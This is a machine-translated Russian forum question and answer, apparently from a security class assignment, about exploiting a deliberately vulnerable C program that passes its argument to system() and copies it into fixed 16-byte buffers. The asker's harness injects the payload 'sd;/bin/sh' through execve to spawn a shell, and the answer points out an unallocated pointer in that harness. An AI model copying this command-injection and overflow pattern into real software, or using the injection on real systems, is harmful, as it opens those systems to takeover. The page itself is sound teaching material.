2014-11-08 4 views
0

Я пытаюсь выполнить программу (скажем, target.c), которая имеет следующийболее чем одной команды для системного вызова в Linux

void foo(char * arg) 
{ 
    char cmd[16]; 
    char par[16]; 
    char * p; 
    strcpy(cmd, "ls --color -l "); 
    strcpy(par, arg); 
    printf("You can use \"%s %s\" to list the files in dir \"%s\"!\n",cmd, par, par); 
    p = (char*)malloc(strlen(cmd) + strlen(par) + 2); 
    strcpy(p, cmd); 
    strcat(p, " "); 
    strcat(p, par);   
    system(p); 
} 
int main(int argc, char ** argv) 
{   
    int i; 
    char test[256]; 
    if (argc > 1) 
     foo(argv[1]); 
    else 
     printf("usage: %s dir\n", argv[0]); 
    return 0; 
    foo(test); 
}; 

Теперь я пытаюсь получить оболочку, вызывая его из другой программы (важно, чтобы вызвать из другой программы показано ниже:

int main(int argc, char **argv) 
{ 
    char * arrv[] = {NULL}; 
    char *payload; 
    int i; int j; 
    char * argo[] = {"../targets/target1","sdknsd",NULL}; 
    strcpy(payload,"sd;/bin/sh"); 
    argo[1] = payload; 
    i=fork(); 
    if(i == 0) 
    { 
     execve("../targets/target1" ,argo, arrv); 
     exit(1); 
    } 
    else if(i == -1) 
    { 
     perror("fork()"); 
    } 
} 

Мой вопрос, когда я пытаюсь выполнить цель и предоставить аргументы командной строки что-то,/бен/ш, то я получаю скорлупу, но не в случае вызова от execve. Любая помощь была бы действительно оценена

Хорошо здесь выход:

[[email protected] targets]$ ./target1 ds;/bin/sh 
ls: ds: No such file or directory 
sh-2.05$ 

выше программа добавляет строку ввода пользователя на Ls и передает его в систему, следовательно, система (LS дц,/бен/ш "дает мне оболочку

Но когда я пытаюсь сделать то же самое с execve из другой программы (вторая программа), она не работает. говорит, что каталог «ds» не найден

+0

Я пробовал использовать && между аргументами (как предлагалось в другом сообщении), и это все еще не работает! И я сожалею о плохом форматировании! – proteann

+0

Прошу прощения. Я думаю, вам нужно быть более ясным в отношении ошибки, которую вы испытываете. Можете ли вы вставлять результат при попытке запустить программу и как ее запустить? – mattias

+0

Спасибо за ваш ответ! Я обновил выход, мне очень жаль, потому что я должен скоро это сделать! Я переформатирую, как только закончу это задание. – proteann

ответ

0

Посмотрите на свой код очень внимательно. char * полезная нагрузка находится на стеке, а затем вы strcpy по этому адресу, поэтому вы переписываете локальные переменные в стеке. Вы не выделили память для этого указателя (например, malloc или используете локальный статический буфер). Если строка ввода пользователя будет более длинной (скажем, 255 символов), вы получите кодовую ошибку сегментации.

КСТАТИ: Почему бы не использовать snprintf вместо STRCPY? Я полагаю, что больше безопасности.

+0

Спасибо за ваш ответ. Я понимаю, насколько велика эта ошибка сейчас. И соглашайтесь с вашим предложением о sprintf – proteann

Смежные вопросы